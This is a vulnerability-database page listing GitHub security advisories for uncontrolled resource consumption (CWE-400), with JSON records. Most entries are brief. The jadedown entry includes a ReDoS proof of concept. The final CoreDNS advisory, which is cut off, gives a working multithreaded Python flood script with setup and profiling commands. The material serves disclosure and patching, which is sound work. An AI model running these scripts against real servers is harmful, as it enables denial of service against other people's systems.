Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

5631 vulnerabilities reference this CWE, most recent first.

GHSA-62GR-4QP9-H98F

Vulnerability from github – Published: 2022-02-10 20:38 – Updated: 2021-04-22 23:31
VLAI
Summary
Regular Expression Denial of Service in Handlebars
Details

Handlebars before 4.4.5 allows Regular Expression Denial of Service (ReDoS) because of eager matching. The parser may be forced into an endless loop while processing crafted templates. This may allow attackers to exhaust system resources.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "handlebars"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.4.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-20922"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-22T23:31:21Z",
    "nvd_published_at": "2020-09-30T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "Handlebars before 4.4.5 allows Regular Expression Denial of Service (ReDoS) because of eager matching. The parser may be forced into an endless loop while processing crafted templates. This may allow attackers to exhaust system resources.",
  "id": "GHSA-62gr-4qp9-h98f",
  "modified": "2021-04-22T23:31:21Z",
  "published": "2022-02-10T20:38:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-20922"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/commit/8d5530ee2c3ea9f0aee3fde310b9f36887d00b8b"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-HANDLEBARS-480388"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/1300"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/handlebars"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Regular Expression Denial of Service in Handlebars"
}

GHSA-62HX-QW5F-W62X

Vulnerability from github – Published: 2021-12-09 00:01 – Updated: 2021-12-10 00:01
VLAI
Details

A uncontrolled resource consumption in Fortinet FortiWeb version 6.4.1 and below, 6.3.15 and below allows an unauthenticated attacker to make the httpsd daemon unresponsive via huge HTTP packets

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{
  "affected": [],
  "aliases": [
    "CVE-2021-41014"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-08T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "A uncontrolled resource consumption in Fortinet FortiWeb version 6.4.1 and below, 6.3.15 and below allows an unauthenticated attacker to make the httpsd daemon unresponsive via huge HTTP packets",
  "id": "GHSA-62hx-qw5f-w62x",
  "modified": "2021-12-10T00:01:02Z",
  "published": "2021-12-09T00:01:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41014"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.com/advisory/FG-IR-21-131"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-62JR-4PG7-4VR2

Vulnerability from github – Published: 2022-05-13 01:35 – Updated: 2022-05-13 01:35
VLAI
Details

A vulnerability in IPv6 ingress packet processing for Cisco UCS Central Software could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition due to high CPU utilization on the targeted device. The vulnerability is due to insufficient rate limiting protection for IPv6 ingress traffic. An attacker could exploit this vulnerability by sending the affected device a high rate of IPv6 packets. Successful exploitation could allow the attacker to cause a DoS condition due to CPU and resource constraints. Cisco Bug IDs: CSCuv34544.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2018-0094"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-01-18T06:29:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in IPv6 ingress packet processing for Cisco UCS Central Software could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition due to high CPU utilization on the targeted device. The vulnerability is due to insufficient rate limiting protection for IPv6 ingress traffic. An attacker could exploit this vulnerability by sending the affected device a high rate of IPv6 packets. Successful exploitation could allow the attacker to cause a DoS condition due to CPU and resource constraints. Cisco Bug IDs: CSCuv34544.",
  "id": "GHSA-62jr-4pg7-4vr2",
  "modified": "2022-05-13T01:35:50Z",
  "published": "2022-05-13T01:35:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-0094"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180117-ucs"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/102787"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1040249"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-62XF-W58M-88WM

Vulnerability from github – Published: 2025-04-28 06:30 – Updated: 2025-04-28 06:30
VLAI
Details

A vulnerability has been found in scipopt scip up to 9.2.1 and classified as problematic. Affected by this vulnerability is the function main of the file examples/LOP/src/genRandomLOPInstance.c of the component File Descriptor Handler. The manipulation of the argument File leads to uncontrolled file descriptor consumption. Local access is required to approach this attack. Upgrading to version 9.2.2 is able to address this issue. The identifier of the patch is d6da63b941216d75fbc1aefea9abf1de6712a2d0. It is recommended to upgrade the affected component.

Severity
3.3 (Low)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
4.8 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2025-4001"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-28T05:15:17Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability has been found in scipopt scip up to 9.2.1 and classified as problematic. Affected by this vulnerability is the function main of the file examples/LOP/src/genRandomLOPInstance.c of the component File Descriptor Handler. The manipulation of the argument File leads to uncontrolled file descriptor consumption. Local access is required to approach this attack. Upgrading to version 9.2.2 is able to address this issue. The identifier of the patch is d6da63b941216d75fbc1aefea9abf1de6712a2d0. It is recommended to upgrade the affected component.",
  "id": "GHSA-62xf-w58m-88wm",
  "modified": "2025-04-28T06:30:25Z",
  "published": "2025-04-28T06:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4001"
    },
    {
      "type": "WEB",
      "url": "https://github.com/scipopt/scip/issues/130"
    },
    {
      "type": "WEB",
      "url": "https://github.com/scipopt/scip/issues/130#issuecomment-2697893742"
    },
    {
      "type": "WEB",
      "url": "https://github.com/scipopt/scip/commit/d6da63b941216d75fbc1aefea9abf1de6712a2d0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/scipopt/scip/releases/tag/v922"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.306337"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.306337"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.558121"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-6354-6MHV-MVV5

Vulnerability from github – Published: 2019-02-18 23:38 – Updated: 2023-09-11 22:25
VLAI
Summary
Regular Expression Denial of Service in jadedown
Details

The jadedown package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in.

Proof of concept

var jadedown = require('jadedown');

var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=1;i<=10000000;i=i+1) {
    console.log("COUNT: " + i);
    var str = genstr(i, 'f') + genstr(i, '#') + '{';
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    jadedown(str)

    var end = process.hrtime(start);
    console.log(end);
}

Results demonstrating blocking for 5 seconds using only 48 characters.

$ node jadedown.js
COUNT: 1
LENGTH: 6
[ 0, 4014065 ]
COUNT: 4
LENGTH: 12
[ 0, 503507 ]
COUNT: 7
LENGTH: 18
[ 0, 325225 ]
COUNT: 10
LENGTH: 24
[ 0, 1632684 ]
COUNT: 13
LENGTH: 30
[ 0, 7541230 ]
COUNT: 16
LENGTH: 36
[ 0, 80889495 ]
COUNT: 19
LENGTH: 42
[ 0, 636009936 ]
COUNT: 22
LENGTH: 48
[ 5, 820586760 ]

Timeline

  • October 24, 2015 - Vulnerability Identified
  • October 24, 2015 - Maintainers Notified
  • October 25, 2015 - Response from Maintainers with intent to fix
  • January 5, 2016 - Advisory Published
  • January 11, 2016 - CVE Requested

Recommendation

This package is not actively maintained, and has not seen an update since 2011.

The package also provides unique functionality in the form of a templating language that is not available elsewhere. If this package is used to process user input, the best available mitigation is to refactor the dependent application to not make use of this module.

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "jadedown"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2016-10520"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:17:50Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "The `jadedown` package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in.\n\n\n### Proof of concept\n```js\nvar jadedown = require(\u0027jadedown\u0027);\n\nvar genstr = function (len, chr) {\n    var result = \"\";\n    for (i=0; i\u003c=len; i++) {\n        result = result + chr;\n    }\n\n    return result;\n}\n\n\nfor (i=1;i\u003c=10000000;i=i+1) {\n    console.log(\"COUNT: \" + i);\n    var str = genstr(i, \u0027f\u0027) + genstr(i, \u0027#\u0027) + \u0027{\u0027;\n    console.log(\"LENGTH: \" + str.length);\n    var start = process.hrtime();\n    jadedown(str)\n\n    var end = process.hrtime(start);\n    console.log(end);\n}\n\n```\n\nResults demonstrating blocking for 5 seconds using only 48 characters.\n\n```\n$ node jadedown.js\nCOUNT: 1\nLENGTH: 6\n[ 0, 4014065 ]\nCOUNT: 4\nLENGTH: 12\n[ 0, 503507 ]\nCOUNT: 7\nLENGTH: 18\n[ 0, 325225 ]\nCOUNT: 10\nLENGTH: 24\n[ 0, 1632684 ]\nCOUNT: 13\nLENGTH: 30\n[ 0, 7541230 ]\nCOUNT: 16\nLENGTH: 36\n[ 0, 80889495 ]\nCOUNT: 19\nLENGTH: 42\n[ 0, 636009936 ]\nCOUNT: 22\nLENGTH: 48\n[ 5, 820586760 ]\n```\n\n# Timeline\n- October 24, 2015 - Vulnerability Identified\n- October 24, 2015 - Maintainers Notified\n- October 25, 2015 - Response from Maintainers with intent to fix\n- January 5, 2016 - Advisory Published\n- January 11, 2016 - CVE Requested\n\n\n## Recommendation\n\nThis package is not actively maintained, and has not seen an update since 2011. \n\nThe package also provides unique functionality in the form of a templating language that is not available elsewhere. If this package is used to process user input, the best available mitigation is to refactor the dependent application to not make use of this module.",
  "id": "GHSA-6354-6mhv-mvv5",
  "modified": "2023-09-11T22:25:25Z",
  "published": "2019-02-18T23:38:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-10520"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-6354-6mhv-mvv5"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/52"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Regular Expression Denial of Service in jadedown"
}

GHSA-636F-XM5J-PJ9M

Vulnerability from github – Published: 2023-01-24 18:12 – Updated: 2023-01-24 18:12
VLAI
Summary
Several quadratic complexity bugs may lead to denial of service in Commonmarker
Details

Impact

Several quadratic complexity bugs in commonmarker's underlying cmark-gfm library may lead to unbounded resource exhaustion and subsequent denial of service.

The following vulnerabilities were addressed:

For more information, consult the release notes for version 0.23.0.gfm.7.

Mitigation

Users are advised to upgrade to commonmarker version 0.23.7.

Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "commonmarker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-01-24T18:12:17Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Impact\n\nSeveral quadratic complexity bugs in commonmarker\u0027s underlying [`cmark-gfm`](https://github.com/github/cmark-gfm) library may lead to unbounded resource exhaustion and subsequent denial of service.\n\nThe following vulnerabilities were addressed:\n\n* [CVE-2023-22483](https://github.com/github/cmark-gfm/security/advisories/GHSA-29g3-96g3-jg6c)\n* [CVE-2023-22484](https://github.com/github/cmark-gfm/security/advisories/GHSA-24f7-9frr-5h2r)\n* [CVE-2023-22485](https://github.com/github/cmark-gfm/security/advisories/GHSA-c944-cv5f-hpvr)\n* [CVE-2023-22486](https://github.com/github/cmark-gfm/security/advisories/GHSA-r572-jvj2-3m8p)\n\nFor more information, consult the release notes for version [`0.23.0.gfm.7`](https://github.com/github/cmark-gfm/releases/tag/0.29.0.gfm.7).\n\n## Mitigation\n\nUsers are advised to upgrade to commonmarker version [`0.23.7`](https://rubygems.org/gems/commonmarker/versions/0.23.7).",
  "id": "GHSA-636f-xm5j-pj9m",
  "modified": "2023-01-24T18:12:17Z",
  "published": "2023-01-24T18:12:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gjtorikian/commonmarker/security/advisories/GHSA-636f-xm5j-pj9m"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gjtorikian/commonmarker"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Several quadratic complexity bugs may lead to denial of service in Commonmarker"
}

GHSA-6375-PG5J-8WPH

Vulnerability from github – Published: 2024-09-25 03:30 – Updated: 2024-09-26 21:10
VLAI
Summary
Denial of service in rocket chat message parser
Details

Rocket.Chat 6.12.0, 6.11.2, 6.10.5, 6.9.6, 6.8.6, 6.7.8, and earlier is vulnerable to denial of service (DoS). Attackers who craft messages with specific characters may crash the workspace due to an issue in the message parser.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@rocket.chat/message-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.30"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-46935"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-25T18:51:16Z",
    "nvd_published_at": "2024-09-25T01:15:44Z",
    "severity": "MODERATE"
  },
  "details": "Rocket.Chat 6.12.0, 6.11.2, 6.10.5, 6.9.6, 6.8.6, 6.7.8, and earlier is vulnerable to denial of service (DoS). Attackers who craft messages with specific characters may crash the workspace due to an issue in the message parser.",
  "id": "GHSA-6375-pg5j-8wph",
  "modified": "2024-09-26T21:10:27Z",
  "published": "2024-09-25T03:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46935"
    },
    {
      "type": "WEB",
      "url": "https://github.com/RocketChat/Rocket.Chat/pull/33227"
    },
    {
      "type": "WEB",
      "url": "https://docs.rocket.chat/docs/rocketchat-security-fixes-updates-and-advisories"
    },
    {
      "type": "WEB",
      "url": "https://github.com/RocketChat/Rocket.Chat/releases/tag/6.12.1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/RocketChat/fuselage"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Denial of service in rocket chat message parser"
}

GHSA-637X-GCP7-9GFX

Vulnerability from github – Published: 2026-05-12 21:31 – Updated: 2026-05-12 21:31
VLAI
Details

Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-34649"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-12T20:16:35Z",
    "severity": "HIGH"
  },
  "details": "Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.",
  "id": "GHSA-637x-gcp7-9gfx",
  "modified": "2026-05-12T21:31:33Z",
  "published": "2026-05-12T21:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34649"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/magento/apsb26-49.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6394-6H9H-CFJG

Vulnerability from github – Published: 2019-06-07 21:12 – Updated: 2021-02-25 17:23
VLAI
Summary
Regular Expression Denial of Service
Details

A Regular Expression vulnerability was found in nwmatcher before 1.4.4. The fix replacing multiple repeated instances of the "\s*" pattern.

Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nwmatcher"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-06-07T21:11:09Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "A Regular Expression vulnerability was found in nwmatcher before 1.4.4. The fix replacing multiple repeated instances of the \"\\s*\" pattern.",
  "id": "GHSA-6394-6h9h-cfjg",
  "modified": "2021-02-25T17:23:12Z",
  "published": "2019-06-07T21:12:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dperini/nwmatcher/commit/9dcc2b039beeabd18327a5ebaa537625872e16f0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Regular Expression Denial of Service"
}

GHSA-63CW-R7XF-JMWR

Vulnerability from github – Published: 2026-04-28 22:43 – Updated: 2026-06-12 19:25
VLAI
Summary
CoreDNS DoH GET oversized dns= query parameter causes pre-validation CPU and memory amplification
Details

Summary

CoreDNS's DNS-over-HTTPS (DoH) GET path accepts oversized dns= query values and performs substantial request parsing, query unescaping, base64 decoding, and message unpacking work before returning 400 Bad Request.

A remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to /dns-query?dns=... and force high CPU usage, large transient allocations, elevated garbage-collection pressure, and increased resident memory consumption even though the requests are ultimately rejected.

This is a denial-of-service issue caused by expensive pre-validation processing on the DoH GET path.

Details

The vulnerable flow is in plugin/pkg/doh/doh.go:

  • RequestToMsg() dispatches GET requests to requestToMsgGet():
  • plugin/pkg/doh/doh.go:79-89
  • requestToMsgGet() calls req.URL.Query(), extracts dns, and passes it directly to base64ToMsg():
  • plugin/pkg/doh/doh.go:99-108
  • base64ToMsg() decodes the full attacker-controlled value via b64Enc.DecodeString() and only then attempts to unpack it into a DNS message:
  • plugin/pkg/doh/doh.go:121-130

Relevant snippet:

func requestToMsgGet(req *http.Request) (*dns.Msg, error) {
    values := req.URL.Query()
    b64, ok := values["dns"]
    if !ok {
        return nil, fmt.Errorf("no 'dns' query parameter found")
    }
    if len(b64) != 1 {
        return nil, fmt.Errorf("multiple 'dns' query values found")
    }
    return base64ToMsg(b64[0])
}

func base64ToMsg(b64 string) (*dns.Msg, error) {
    buf, err := b64Enc.DecodeString(b64)
    if err != nil {
        return nil, err
    }

    m := new(dns.Msg)
    err = m.Unpack(buf)

    return m, err
}
````

By contrast, the POST path applies a bounded read before unpacking:

```go
func toMsg(r io.ReadCloser) (*dns.Msg, error) {
    buf, err := io.ReadAll(http.MaxBytesReader(nil, r, 65536))
    if err != nil {
        return nil, err
    }
    m := new(dns.Msg)
    err = m.Unpack(buf)
    return m, err
}

So, POST is explicitly size-bounded, while GET is not equivalently bounded before expensive parsing and decoding work occurs.

In addition, the HTTPS server is created in core/dnsserver/server_https.go:87-92 without an explicit early GET-path size guard in this path:

srv := &http.Server{
    ReadTimeout:  s.ReadTimeout,
    WriteTimeout: s.WriteTimeout,
    IdleTimeout:  s.IdleTimeout,
    ErrorLog:     stdlog.New(&loggerAdapter{}, "", 0),
}

As a result, oversized DoH GET request targets are processed through:

  1. HTTP request-line parsing
  2. URL query parsing / unescaping
  3. DoH GET extraction
  4. base64 decoding
  5. DNS message unpacking

before the request is rejected.

Root cause

The root cause is missing early size validation on the DoH GET path.

More specifically:

  • requestToMsgGet() performs req.URL.Query() on attacker-controlled oversized request targets.
  • The extracted dns value is passed to base64ToMsg() without an encoded-length or decoded-length bound.
  • base64ToMsg() fully decodes the attacker-controlled string before any DNS-size rejection.
  • The POST path already has an explicit bounded read, but GET does not have an equivalent pre-decode bound.

This creates a pre-validation resource-amplification path for DoH GET.

PoC

Local test setup

I reproduced this locally against CoreDNS 1.14.2 over HTTPS with pprof enabled.

Create a self-signed certificate:

openssl req -x509 -newkey rsa:2048 -sha256 -days 1 -nodes \
  -keyout key.pem -out cert.pem \
  -subj "/CN=127.0.0.1"

Create this Corefile:

https://127.0.0.1:8443 {
    whoami
    log
    errors
    tls cert.pem key.pem
    pprof 127.0.0.1:6060
}

Run CoreDNS:

./coredns -conf Corefile

Proof-of-concept script

#!/usr/bin/env python3
import argparse
import base64
import collections
import concurrent.futures
import http.client
import ssl
import time

def send_one(host, port, path, timeout):
    ctx = ssl._create_unverified_context()
    conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
    try:
        conn.request("GET", path, headers={
            "Accept": "application/dns-message",
            "Connection": "close",
        })
        resp = conn.getresponse()
        resp.read()
        return resp.status
    except Exception as e:
        return f"ERR:{type(e).__name__}"
    finally:
        try:
            conn.close()
        except Exception:
            pass

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--host", default="127.0.0.1")
    ap.add_argument("--port", type=int, default=8443)
    ap.add_argument("--decoded-kib", type=int, default=720)
    ap.add_argument("--workers", type=int, default=64)
    ap.add_argument("--requests", type=int, default=5000)
    ap.add_argument("--timeout", type=float, default=5.0)
    args = ap.parse_args()

    raw = b"A" * (args.decoded_kib * 1024)
    b64 = base64.urlsafe_b64encode(raw).rstrip(b"=").decode()
    path = "/dns-query?dns=" + b64

    print(f"[+] target = https://{args.host}:{args.port}")
    print(f"[+] decoded bytes = {len(raw):,}")
    print(f"[+] encoded chars = {len(b64):,}")
    print(f"[+] request-target length = {len(path):,}")
    print(f"[+] workers = {args.workers}, requests = {args.requests}")
    print("[+] 400 responses are expected; the issue is expensive processing before rejection.\n")

    started = time.time()
    results = collections.Counter()

    with concurrent.futures.ThreadPoolExecutor(max_workers=args.workers) as ex:
        futs = [
            ex.submit(send_one, args.host, args.port, path, args.timeout)
            for _ in range(args.requests)
        ]
        for i, fut in enumerate(concurrent.futures.as_completed(futs), 1):
            results[fut.result()] += 1
            if i % 10 == 0 or i == args.requests:
                print(f"[{i}/{args.requests}] {dict(results)}")

    elapsed = time.time() - started
    print("\n[+] done")
    print(f"[+] elapsed = {elapsed:.2f}s")
    print(f"[+] summary = {dict(results)}")

if __name__ == "__main__":
    main()

Run the PoC:

python3 poc_doh_get_oversize_https.py \
  --host 127.0.0.1 \
  --port 8443 \
  --decoded-kib 720 \
  --workers 64 \
  --requests 5000

Profiling commands used during reproduction

CPU profile:

(curl -s "http://127.0.0.1:6060/debug/pprof/profile?seconds=20" -o cpu_attack.pb.gz &) ; \
sleep 1 ; \
python3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000 ; \
wait

go tool pprof -top ./coredns cpu_attack.pb.gz

Heap / allocation profiles:

curl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_before.pb.gz
curl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_before.pb.gz

python3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000

curl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_after.pb.gz
curl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_after.pb.gz

go tool pprof -top -base heap_before.pb.gz ./coredns heap_after.pb.gz
go tool pprof -top -base allocs_before.pb.gz ./coredns allocs_after.pb.gz

Reproduction results

I confirmed the issue on:

  • CoreDNS 1.14.2
  • linux/amd64
  • go1.26.1

PoC payload characteristics:

  • decoded payload size: 737,280 bytes
  • base64url-encoded dns length: 983,040
  • request-target length: 983,055

Observed request outcome:

  • 5000 / 5000 requests returned 400 Bad Request
  • total runtime for the 5000-request run: 18.22s

The important point is that the requests are rejected only after expensive processing has already happened.

CPU profile highlights

The CPU profile captured during the attack showed significant time in:

  • net/http.readRequest
  • net/url.ParseQuery / net/url.QueryUnescape / net/url.unescape
  • github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet
  • github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg
  • encoding/base64.(*Encoding).DecodeString
  • Go GC worker paths

Representative cumulative values from the captured profile included:

  • github.com/coredns/coredns/core/dnsserver.(*ServerHTTPS).ServeHTTP → 10.91s
  • github.com/coredns/coredns/plugin/pkg/doh.RequestToMsg → 10.88s
  • github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet → 10.88s
  • github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg → 3.50s
  • encoding/base64.(*Encoding).DecodeString → 3.46s
  • net/http.readRequest → 10.57s
  • net/url.(*URL).Query / ParseQuery / QueryUnescape → 7.38s
  • runtime.gcBgMarkWorker and related GC paths were also heavily active

This demonstrates that the issue is not limited to final DNS unpacking. The oversized GET request forces meaningful work in HTTP parsing, URL handling, base64 decoding, and garbage collection before rejection.

Allocation profile highlights

Allocation profiling showed very large transient allocation volume caused by the rejected requests:

  • total alloc_space: 26,756.48 MB

Top contributors included:

  • net/textproto.(*Reader).readLineSlice → 19,668.19 MB
  • net/textproto.(*Reader).ReadLine → 3,738.84 MB
  • encoding/base64.(*Encoding).DecodeString → 2,766.16 MB

Within the CoreDNS DoH GET path specifically:

  • github.com/coredns/coredns/plugin/pkg/doh.RequestToMsg → 2,775.67 MB
  • github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet → 2,775.67 MB
  • github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg → 2,773.67 MB

Heap delta (inuse_space) also showed live growth attributable to this path, including:

  • encoding/base64.(*Encoding).DecodeString → 7,629.75 kB

Memory observations

Runtime memory monitoring showed a clear increase in peak resident usage during the attack:

  • baseline VmHWM / VmRSS before load was approximately 55,864 kB
  • observed VmHWM during testing reached approximately 146,100 kB

So even though requests returned 400, the server still experienced substantial transient memory growth and allocator / GC pressure before rejection.

Impact

A remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to the HTTPS endpoint and force significant pre-rejection work.

Impact includes:

